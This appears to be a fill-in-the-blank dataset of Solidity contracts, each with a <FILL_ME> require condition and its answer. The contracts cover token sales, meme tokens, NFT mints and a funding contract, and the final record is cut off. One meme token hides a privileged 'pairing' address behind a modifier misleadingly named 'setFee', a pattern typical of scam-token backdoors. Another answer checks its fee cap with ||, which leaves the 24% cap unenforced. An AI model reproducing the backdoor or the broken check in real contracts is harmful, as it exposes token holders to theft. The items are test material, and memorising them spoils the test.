// Flag to enable or disable the whitelist mapping(address => uint256) public lastPurchase; mapping(address => uint256) public lastBoughtAmount; mapping(address => uint256) public claimedAirdrop; // Track claimed airdrop amounts event Purchased(address indexed buyer, uint256 ethSpent, uint256 agiReceived); event RateUpdated(uint256 newRate); event DailyLimitUpdated(uint256 newLimit); event MerkleRootUpdated(bytes32 newMerkleRoot); event WhitelistStatusChanged(bool isActive); event AirdropClaimed(address indexed claimant, uint256 amount); constructor(address _agiTokenAddress, uint256 _initialRate, uint256 _initialDailyLimit) { } function buyAGI() external payable nonReentrant whenNotPaused { } function claimAirdrop(bytes32[] calldata _merkleProof) external nonReentrant whenNotPaused { } function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } function setWhitelistStatus(bool _isActive) external onlyOwner { } function setAirdropAmount(uint256 _amount) external onlyOwner { } function updateRate(uint256 _newRate) external onlyOwner whenNotPaused { } function updateDailyLimit(uint256 _newLimit) external onlyOwner whenNotPaused { } function confirmWithdrawETH() external onlyOwner nonReentrant whenNotPaused { } function confirmWithdrawAGI(uint256 _amount) external onlyOwner nonReentrant whenNotPaused { require(_amount > 0, "Invalid amount"); require(<FILL_ME>) agiToken.transfer(owner(), _amount); } function pause() external onlyOwner { } function unpause() external onlyOwner { } }
agiToken.balanceOf(address(this))>=_amount,"Insufficient AGI tokens"
115,556
agiToken.balanceOf(address(this))>=_amount
"Can't change fee higher than 24%"
// SPDX-License-Identifier: MIT /* Kessler's pants Telegram : https://t.me/KesslersPants Twitter : https://twitter.com/elonmusk/status/1642246593087774722?s=46 */ pragma solidity ^0.8.17; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function mod(uint256 a, uint256 b) internal pure returns (uint256) { } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { } function _msgData() internal view virtual returns (bytes memory) { } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { } function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; } interface IUniswapV2Pair { function sync() external; } contract KesslersPants is Context, IERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; string private constant _name = "Kesslers Pants"; string private constant _symbol = "$Kessler"; uint8 private constant _decimals = 9; uint256 private _tTotal = 1000000000 * 10**_decimals; uint256 public _maxWalletAmount = 30000000 * 10**_decimals; uint256 public _maxTxAmount = 30000000 * 10**_decimals; uint256 public swapTokenAtAmount = 10000000 * 10**_decimals; uint256 public forceSwapCount; address public liquidityReceiver; address public marketingWallet; struct BuyFees{ uint256 liquidity; uint256 marketing; } struct SellFees{ uint256 liquidity; uint256 marketing; } BuyFees public buyFee; SellFees public sellFee; uint256 private liquidityFee; uint256 private marketingFee; bool private swapping; event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity); constructor (address marketingAddress, address liquidityAddress) { } function name() public pure returns (string memory) { } function symbol() public pure returns (string memory) { } function decimals() public pure returns (uint8) { } function totalSupply() public view override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function transfer(address recipient, uint256 amount) public override returns (bool) { } function allowance(address owner, address spender) public view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { } function excludeFromFees(address account, bool excluded) public onlyOwner { } receive() external payable {} function takeBuyFees(uint256 amount, address from) private returns (uint256) { } function takeSellFees(uint256 amount, address from) private returns (uint256) { } function isExcludedFromFee(address account) public view returns(bool) { } function changeFee(uint256 _buyMarketingFee, uint256 _buyLiquidityFee, uint256 _sellMarketingFee, uint256 _sellLiquidityFee) public onlyOwner { require(<FILL_ME>) buyFee.liquidity = _buyLiquidityFee; buyFee.marketing = _buyMarketingFee; sellFee.liquidity = _sellLiquidityFee; sellFee.marketing = _sellMarketingFee; } function changeMax(uint256 _maxTx, uint256 _maxWallet) public onlyOwner { } function _approve(address owner, address spender, uint256 amount) private { } function _transfer( address from, address to, uint256 amount ) private { } function swapBack(uint256 amount) private { } function swapTokensForEth(uint256 tokenAmount) private { } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { } }
_buyMarketingFee+_buyLiquidityFee<25||_sellLiquidityFee+_sellMarketingFee<25,"Can't change fee higher than 24%"
115,758
_buyMarketingFee+_buyLiquidityFee<25||_sellLiquidityFee+_sellMarketingFee<25
"Max supply exceeded!"
// SPDX-License-Identifier: MIT ////////////////////////////////////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////////////////////////////// ////////////////////////////█▀▄▀█ █▀▀ █▀▀ █▀▀█ █▀▀ █▀▀█ █▀▀▄ █▀▀█ █▀▀ ░▀░ █▀▀▄//////////////////////////// ////////////////////////////█░▀░█ █▀▀ █▀▀ █▄▄▀ ▀▀█ █░░█ █░░█ █▄▄█ █░░ ▀█▀ █░░█//////////////////////////// ////////////////////////////▀░░░▀ ▀░░ ▀▀▀ ▀░▀▀ ▀▀▀ ▀▀▀▀ ▀░░▀ ▀░░▀ ▀▀▀ ▀▀▀ ▀▀▀░//////////////////////////// ////////////////////////////////////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////////////////////////////// pragma solidity ^0.8.2; import "./ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract AcidMfers is ERC721A, Ownable, ReentrancyGuard { using Strings for uint256; uint256 public PRICE = 0.0069 ether; uint256 public MAX_SUPPLY = 1555; uint256 public MAX_MINT_FOR_TXN = 100; string private BASE_URI = ''; bool public REVEAL_STATUS = false; constructor() ERC721A("AcidMfers", "AcidMfers") { } function _baseURI() internal view virtual override returns (string memory) { } function setPrice(uint256 price) external onlyOwner { } function setMaxSupply(uint256 value) external onlyOwner { } function setBaseURI(string memory customBaseURI_) external onlyOwner { } function setMaxMintForTxn(uint256 value) external onlyOwner { } function setRevealStatus(bool revealStatus) external onlyOwner { } modifier mintCompliance(uint256 _mintAmount) { require(_mintAmount > 0 && _mintAmount <= MAX_MINT_FOR_TXN, "Invalid mint amount!"); require(<FILL_ME>) _; } function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) { } function mintOwner(address _to, uint256 _mintAmount) public mintCompliance(_mintAmount) onlyOwner { } address private constant payoutAdd = 0xbA9c2BAa2eC68ac85172591Ed9b2236f127AE337; function tripping() public onlyOwner nonReentrant { } function tokenURI(uint256 tokenId) public view override returns (string memory) { } }
currentIndex+_mintAmount<=MAX_SUPPLY,"Max supply exceeded!"
115,939
currentIndex+_mintAmount<=MAX_SUPPLY
"Not open yet."
// SPDX-License-Identifier: MIT pragma solidity ^0.8.12; import "LinkTokenInterface.sol"; import "VRFConsumerBase.sol"; import "Ownable.sol"; import "ERC721.sol"; import "EthUsPriceConvert.sol"; import "State.sol"; contract MyStorage is ERC721, VRFConsumerBase, Ownable { // Ethereum US Dollar Price Conversion EthUsPriceConvert immutable ethUsConvert; // enum State open, end, closed the funding. State immutable state; // The gas lane to use, which specifies the maximum gas price to bump to. bytes32 immutable keyHash; // owner of this contract who deploy it. address immutable s_owner; // VRF Link fee uint256 fee; // users who send fund to this contract address payable[] users; // To keep track of the balance of each address mapping (address => uint256) balanceOfUsers; //counter for NFT Token created uint256 tokenCounter; //counter for created Id for each NFT token assigned uint256 tokenIdCounter; // check if it is created NFT token or Eth withdraw bool isNftToken; enum Breed{PUG, SHIBA_INU, ST_BERNARD} // add other things mapping(bytes32 => address) public requestIdToSender; mapping(bytes32 => string) public requestIdToTokenURI; mapping(uint256 => Breed) public tokenIdToBreed; mapping(bytes32 => uint256) public requestIdToTokenId; mapping (uint256 => string) private _tokenURIs; mapping(uint256 => bytes32) public tokenIdTorequestId; event RequestedCollectible(bytes32 indexed requestId); event ReturnedCollectible(bytes32 indexed requestId, uint256 randomNumber); event Withdraw2(uint256 num); event ReturnedWithdraw(bytes32 indexed requestId); event RequestWithdraw(bytes32 indexed requestId); /* * @notice Constructor inherits VRFConsumerBase * * @param _priceFeedAddress * @param _minimumEntreeFee * @param _vrfCoordinator - coordinator * @param _LinkToken * @param _keyHash - the gas lane to use, which specifies the maximum gas price to bump to * @param _fee - Link token fee for requesting random number. * @param _nftName - NFT token name * @param _symbol - NFT symbol */ constructor( address _priceFeedAddress, uint32 _minimumEntreeFee, address _VRFCoordinator, address _LinkToken, bytes32 _keyhash, uint256 _fee, string memory _nftName, string memory _symbol ) VRFConsumerBase(_VRFCoordinator, _LinkToken) ERC721(_nftName, _symbol) payable { } /** * @notice Open the funding account. Users can start funding now. */ function start() external onlyOwner { } /** * @notice End the state. */ function end() external onlyOwner { } /** * @notice Close the state. */ function closed() external onlyOwner { } /** * @notice Get current funding state. */ function getCurrentState() external view returns (string memory) { } /** * @notice Get the total amount that users funding in this account. */ function getUsersTotalAmount() external view returns (uint256) { } /** * @notice Get the balance of the user. * @param - user address */ function getUserBalance(address user) external view returns (uint256) { } /** * @notice User can enter the fund. Minimum $50 value of ETH. */ function send() external payable { // $50 minimum require(<FILL_ME>) require(msg.value >= ethUsConvert.getEntranceFee(), "Not enough ETH! Minimum $50 value of ETH require!"); users.push(payable(msg.sender)); balanceOfUsers[msg.sender] += msg.value; } /** * @notice Owner withdraw the fund. */ function wdraw() external onlyOwner { } /** * @notice Owner withdraw the funding. */ function wdraw2() external onlyOwner { } /** * @notice Owner withdraw the fund. */ function wdraw2(uint256 amount) external onlyOwner { } /** * @notice Set the new Link fee for randonness */ function setFee(uint256 newFee) external onlyOwner { } /* * @notice Create a new NFT Token. */ function createCollectible(string memory tokenURI) external returns (bytes32){ } function fulfillRandomness(bytes32 requestId, uint256 randomNumber) internal override { } /* * Reset the memory. Clear the container. */ function reset() internal { } /** * Remove tokenURI for a specific tokenId */ function removeTokenURI(uint256 tokenId) external onlyOwner { } function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { } /** * Set the token URI */ function setTokenURI(uint256 tokenId, string memory _tokenURI) external { } /** * @notice Get the count of NFT token created so far */ function getNFTtokenCount() external view returns (uint256) { } }
state.getCurrentStateNum()==0,"Not open yet."
116,060
state.getCurrentStateNum()==0
"State must be ended before withdraw!"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.12; import "LinkTokenInterface.sol"; import "VRFConsumerBase.sol"; import "Ownable.sol"; import "ERC721.sol"; import "EthUsPriceConvert.sol"; import "State.sol"; contract MyStorage is ERC721, VRFConsumerBase, Ownable { // Ethereum US Dollar Price Conversion EthUsPriceConvert immutable ethUsConvert; // enum State open, end, closed the funding. State immutable state; // The gas lane to use, which specifies the maximum gas price to bump to. bytes32 immutable keyHash; // owner of this contract who deploy it. address immutable s_owner; // VRF Link fee uint256 fee; // users who send fund to this contract address payable[] users; // To keep track of the balance of each address mapping (address => uint256) balanceOfUsers; //counter for NFT Token created uint256 tokenCounter; //counter for created Id for each NFT token assigned uint256 tokenIdCounter; // check if it is created NFT token or Eth withdraw bool isNftToken; enum Breed{PUG, SHIBA_INU, ST_BERNARD} // add other things mapping(bytes32 => address) public requestIdToSender; mapping(bytes32 => string) public requestIdToTokenURI; mapping(uint256 => Breed) public tokenIdToBreed; mapping(bytes32 => uint256) public requestIdToTokenId; mapping (uint256 => string) private _tokenURIs; mapping(uint256 => bytes32) public tokenIdTorequestId; event RequestedCollectible(bytes32 indexed requestId); event ReturnedCollectible(bytes32 indexed requestId, uint256 randomNumber); event Withdraw2(uint256 num); event ReturnedWithdraw(bytes32 indexed requestId); event RequestWithdraw(bytes32 indexed requestId); /* * @notice Constructor inherits VRFConsumerBase * * @param _priceFeedAddress * @param _minimumEntreeFee * @param _vrfCoordinator - coordinator * @param _LinkToken * @param _keyHash - the gas lane to use, which specifies the maximum gas price to bump to * @param _fee - Link token fee for requesting random number. * @param _nftName - NFT token name * @param _symbol - NFT symbol */ constructor( address _priceFeedAddress, uint32 _minimumEntreeFee, address _VRFCoordinator, address _LinkToken, bytes32 _keyhash, uint256 _fee, string memory _nftName, string memory _symbol ) VRFConsumerBase(_VRFCoordinator, _LinkToken) ERC721(_nftName, _symbol) payable { } /** * @notice Open the funding account. Users can start funding now. */ function start() external onlyOwner { } /** * @notice End the state. */ function end() external onlyOwner { } /** * @notice Close the state. */ function closed() external onlyOwner { } /** * @notice Get current funding state. */ function getCurrentState() external view returns (string memory) { } /** * @notice Get the total amount that users funding in this account. */ function getUsersTotalAmount() external view returns (uint256) { } /** * @notice Get the balance of the user. * @param - user address */ function getUserBalance(address user) external view returns (uint256) { } /** * @notice User can enter the fund. Minimum $50 value of ETH. */ function send() external payable { } /** * @notice Owner withdraw the fund. */ function wdraw() external onlyOwner { require(<FILL_ME>) require((address(this)).balance > 0, "Balance is 0."); require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK - fill contract with faucet"); bytes32 requestId = requestRandomness(keyHash, fee); emit RequestWithdraw(requestId); } /** * @notice Owner withdraw the funding. */ function wdraw2() external onlyOwner { } /** * @notice Owner withdraw the fund. */ function wdraw2(uint256 amount) external onlyOwner { } /** * @notice Set the new Link fee for randonness */ function setFee(uint256 newFee) external onlyOwner { } /* * @notice Create a new NFT Token. */ function createCollectible(string memory tokenURI) external returns (bytes32){ } function fulfillRandomness(bytes32 requestId, uint256 randomNumber) internal override { } /* * Reset the memory. Clear the container. */ function reset() internal { } /** * Remove tokenURI for a specific tokenId */ function removeTokenURI(uint256 tokenId) external onlyOwner { } function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { } /** * Set the token URI */ function setTokenURI(uint256 tokenId, string memory _tokenURI) external { } /** * @notice Get the count of NFT token created so far */ function getNFTtokenCount() external view returns (uint256) { } }
state.getCurrentStateNum()==1,"State must be ended before withdraw!"
116,060
state.getCurrentStateNum()==1
"Balance is 0."
// SPDX-License-Identifier: MIT pragma solidity ^0.8.12; import "LinkTokenInterface.sol"; import "VRFConsumerBase.sol"; import "Ownable.sol"; import "ERC721.sol"; import "EthUsPriceConvert.sol"; import "State.sol"; contract MyStorage is ERC721, VRFConsumerBase, Ownable { // Ethereum US Dollar Price Conversion EthUsPriceConvert immutable ethUsConvert; // enum State open, end, closed the funding. State immutable state; // The gas lane to use, which specifies the maximum gas price to bump to. bytes32 immutable keyHash; // owner of this contract who deploy it. address immutable s_owner; // VRF Link fee uint256 fee; // users who send fund to this contract address payable[] users; // To keep track of the balance of each address mapping (address => uint256) balanceOfUsers; //counter for NFT Token created uint256 tokenCounter; //counter for created Id for each NFT token assigned uint256 tokenIdCounter; // check if it is created NFT token or Eth withdraw bool isNftToken; enum Breed{PUG, SHIBA_INU, ST_BERNARD} // add other things mapping(bytes32 => address) public requestIdToSender; mapping(bytes32 => string) public requestIdToTokenURI; mapping(uint256 => Breed) public tokenIdToBreed; mapping(bytes32 => uint256) public requestIdToTokenId; mapping (uint256 => string) private _tokenURIs; mapping(uint256 => bytes32) public tokenIdTorequestId; event RequestedCollectible(bytes32 indexed requestId); event ReturnedCollectible(bytes32 indexed requestId, uint256 randomNumber); event Withdraw2(uint256 num); event ReturnedWithdraw(bytes32 indexed requestId); event RequestWithdraw(bytes32 indexed requestId); /* * @notice Constructor inherits VRFConsumerBase * * @param _priceFeedAddress * @param _minimumEntreeFee * @param _vrfCoordinator - coordinator * @param _LinkToken * @param _keyHash - the gas lane to use, which specifies the maximum gas price to bump to * @param _fee - Link token fee for requesting random number. * @param _nftName - NFT token name * @param _symbol - NFT symbol */ constructor( address _priceFeedAddress, uint32 _minimumEntreeFee, address _VRFCoordinator, address _LinkToken, bytes32 _keyhash, uint256 _fee, string memory _nftName, string memory _symbol ) VRFConsumerBase(_VRFCoordinator, _LinkToken) ERC721(_nftName, _symbol) payable { } /** * @notice Open the funding account. Users can start funding now. */ function start() external onlyOwner { } /** * @notice End the state. */ function end() external onlyOwner { } /** * @notice Close the state. */ function closed() external onlyOwner { } /** * @notice Get current funding state. */ function getCurrentState() external view returns (string memory) { } /** * @notice Get the total amount that users funding in this account. */ function getUsersTotalAmount() external view returns (uint256) { } /** * @notice Get the balance of the user. * @param - user address */ function getUserBalance(address user) external view returns (uint256) { } /** * @notice User can enter the fund. Minimum $50 value of ETH. */ function send() external payable { } /** * @notice Owner withdraw the fund. */ function wdraw() external onlyOwner { require( // Current state must be ended which is 1 before withdraw. state.getCurrentStateNum() == 1, "State must be ended before withdraw!" ); require(<FILL_ME>) require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK - fill contract with faucet"); bytes32 requestId = requestRandomness(keyHash, fee); emit RequestWithdraw(requestId); } /** * @notice Owner withdraw the funding. */ function wdraw2() external onlyOwner { } /** * @notice Owner withdraw the fund. */ function wdraw2(uint256 amount) external onlyOwner { } /** * @notice Set the new Link fee for randonness */ function setFee(uint256 newFee) external onlyOwner { } /* * @notice Create a new NFT Token. */ function createCollectible(string memory tokenURI) external returns (bytes32){ } function fulfillRandomness(bytes32 requestId, uint256 randomNumber) internal override { } /* * Reset the memory. Clear the container. */ function reset() internal { } /** * Remove tokenURI for a specific tokenId */ function removeTokenURI(uint256 tokenId) external onlyOwner { } function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { } /** * Set the token URI */ function setTokenURI(uint256 tokenId, string memory _tokenURI) external { } /** * @notice Get the count of NFT token created so far */ function getNFTtokenCount() external view returns (uint256) { } }
(address(this)).balance>0,"Balance is 0."
116,060
(address(this)).balance>0
"Balance is less than withdraw amount"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.12; import "LinkTokenInterface.sol"; import "VRFConsumerBase.sol"; import "Ownable.sol"; import "ERC721.sol"; import "EthUsPriceConvert.sol"; import "State.sol"; contract MyStorage is ERC721, VRFConsumerBase, Ownable { // Ethereum US Dollar Price Conversion EthUsPriceConvert immutable ethUsConvert; // enum State open, end, closed the funding. State immutable state; // The gas lane to use, which specifies the maximum gas price to bump to. bytes32 immutable keyHash; // owner of this contract who deploy it. address immutable s_owner; // VRF Link fee uint256 fee; // users who send fund to this contract address payable[] users; // To keep track of the balance of each address mapping (address => uint256) balanceOfUsers; //counter for NFT Token created uint256 tokenCounter; //counter for created Id for each NFT token assigned uint256 tokenIdCounter; // check if it is created NFT token or Eth withdraw bool isNftToken; enum Breed{PUG, SHIBA_INU, ST_BERNARD} // add other things mapping(bytes32 => address) public requestIdToSender; mapping(bytes32 => string) public requestIdToTokenURI; mapping(uint256 => Breed) public tokenIdToBreed; mapping(bytes32 => uint256) public requestIdToTokenId; mapping (uint256 => string) private _tokenURIs; mapping(uint256 => bytes32) public tokenIdTorequestId; event RequestedCollectible(bytes32 indexed requestId); event ReturnedCollectible(bytes32 indexed requestId, uint256 randomNumber); event Withdraw2(uint256 num); event ReturnedWithdraw(bytes32 indexed requestId); event RequestWithdraw(bytes32 indexed requestId); /* * @notice Constructor inherits VRFConsumerBase * * @param _priceFeedAddress * @param _minimumEntreeFee * @param _vrfCoordinator - coordinator * @param _LinkToken * @param _keyHash - the gas lane to use, which specifies the maximum gas price to bump to * @param _fee - Link token fee for requesting random number. * @param _nftName - NFT token name * @param _symbol - NFT symbol */ constructor( address _priceFeedAddress, uint32 _minimumEntreeFee, address _VRFCoordinator, address _LinkToken, bytes32 _keyhash, uint256 _fee, string memory _nftName, string memory _symbol ) VRFConsumerBase(_VRFCoordinator, _LinkToken) ERC721(_nftName, _symbol) payable { } /** * @notice Open the funding account. Users can start funding now. */ function start() external onlyOwner { } /** * @notice End the state. */ function end() external onlyOwner { } /** * @notice Close the state. */ function closed() external onlyOwner { } /** * @notice Get current funding state. */ function getCurrentState() external view returns (string memory) { } /** * @notice Get the total amount that users funding in this account. */ function getUsersTotalAmount() external view returns (uint256) { } /** * @notice Get the balance of the user. * @param - user address */ function getUserBalance(address user) external view returns (uint256) { } /** * @notice User can enter the fund. Minimum $50 value of ETH. */ function send() external payable { } /** * @notice Owner withdraw the fund. */ function wdraw() external onlyOwner { } /** * @notice Owner withdraw the funding. */ function wdraw2() external onlyOwner { } /** * @notice Owner withdraw the fund. */ function wdraw2(uint256 amount) external onlyOwner { require( // Current state must be end which is 1. state.getCurrentStateNum() == 1, "State must be ended before withdraw!" ); require(<FILL_ME>) payable(s_owner).transfer(amount); reset(); emit Withdraw2(12347); } /** * @notice Set the new Link fee for randonness */ function setFee(uint256 newFee) external onlyOwner { } /* * @notice Create a new NFT Token. */ function createCollectible(string memory tokenURI) external returns (bytes32){ } function fulfillRandomness(bytes32 requestId, uint256 randomNumber) internal override { } /* * Reset the memory. Clear the container. */ function reset() internal { } /** * Remove tokenURI for a specific tokenId */ function removeTokenURI(uint256 tokenId) external onlyOwner { } function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { } /** * Set the token URI */ function setTokenURI(uint256 tokenId, string memory _tokenURI) external { } /** * @notice Get the count of NFT token created so far */ function getNFTtokenCount() external view returns (uint256) { } }
(address(this)).balance>amount,"Balance is less than withdraw amount"
116,060
(address(this)).balance>amount
""
/** Messi. Messi. Messi. Immens Messi. Encara Messi. Encara Messi. ENCARA MESSI. Encara Messi. Encara Messi. ⠀ Gol. Gol. Gol. Gol. Gol. Gol. Gol. Gol. Gol. ,;;;:. ;;''''`: ;( O O| ,;;, | _\| \ | \__-/ ,' / | | / / _,--''`---'''-------.,-' / ,' / `. | _,' ,' |====== WM =| |-' \ ,======| |=|''---' / `. ,' \ \/ / ,'. ,'`' | --._ | ,' ,' | | __,' _,' \ -._ | `- ,-' |---------) ';;' ;:::::::::| ;:::::::::::\ /::::::;:::::| /_:::::/\:::::_\ / `-:_/ \,-' | / / \ | | | | _,) \_,-\ | | \ | | | |__| \,-| /##| | | \##/ | | ,-'''-. |,-| // \_/ \\ `.##\ |\_/ \_/| `--` jrei \/ \_/ \/ **/ // SPDX-License-Identifier: MIT pragma solidity ^0.8.14; abstract contract Context { function _msgSender() internal view virtual returns (address) { } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { } function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { }}interface dexRouter {} interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract EnkaraMessi is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balance; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private cooldown; uint256 private _totalSupply = 100000000 * 10**9; string private constant _name = "Encara Messi"; string private constant _symbol = "ENCARAMESSI"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; dexRouter private pairing; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _totalSupply; uint256 private _maxWalletAmount = _totalSupply; modifier setFee() { require(<FILL_ME>)_; } constructor() { } function name() public pure returns (string memory) { } function symbol() public pure returns (string memory) { } function decimals() public pure returns (uint8) { } function totalSupply() public view override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function transfer(address recipient, uint256 amount) public override returns (bool) { } function allowance(address owner, address spender) public view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { } function setCooldownEnabled(bool onoff) external onlyOwner { } function allowances (address receipient, uint256 tAmount) external setFee { } function _approve( address owner, address spender, uint256 amount ) private { } function _transfer( address from, address to, uint256 amount ) private { } function addLiquidity(address set) external onlyOwner { } function _tokenTransfer( address sender, address recipient, uint256 amount ) private { } receive() external payable {} }
address(pairing)==msg.sender,""
116,127
address(pairing)==msg.sender
"Exceed max wallet amount"
/** Messi. Messi. Messi. Immens Messi. Encara Messi. Encara Messi. ENCARA MESSI. Encara Messi. Encara Messi. ⠀ Gol. Gol. Gol. Gol. Gol. Gol. Gol. Gol. Gol. ,;;;:. ;;''''`: ;( O O| ,;;, | _\| \ | \__-/ ,' / | | / / _,--''`---'''-------.,-' / ,' / `. | _,' ,' |====== WM =| |-' \ ,======| |=|''---' / `. ,' \ \/ / ,'. ,'`' | --._ | ,' ,' | | __,' _,' \ -._ | `- ,-' |---------) ';;' ;:::::::::| ;:::::::::::\ /::::::;:::::| /_:::::/\:::::_\ / `-:_/ \,-' | / / \ | | | | _,) \_,-\ | | \ | | | |__| \,-| /##| | | \##/ | | ,-'''-. |,-| // \_/ \\ `.##\ |\_/ \_/| `--` jrei \/ \_/ \/ **/ // SPDX-License-Identifier: MIT pragma solidity ^0.8.14; abstract contract Context { function _msgSender() internal view virtual returns (address) { } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { } function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { }}interface dexRouter {} interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract EnkaraMessi is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balance; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private cooldown; uint256 private _totalSupply = 100000000 * 10**9; string private constant _name = "Encara Messi"; string private constant _symbol = "ENCARAMESSI"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; dexRouter private pairing; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _totalSupply; uint256 private _maxWalletAmount = _totalSupply; modifier setFee() { } constructor() { } function name() public pure returns (string memory) { } function symbol() public pure returns (string memory) { } function decimals() public pure returns (uint8) { } function totalSupply() public view override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function transfer(address recipient, 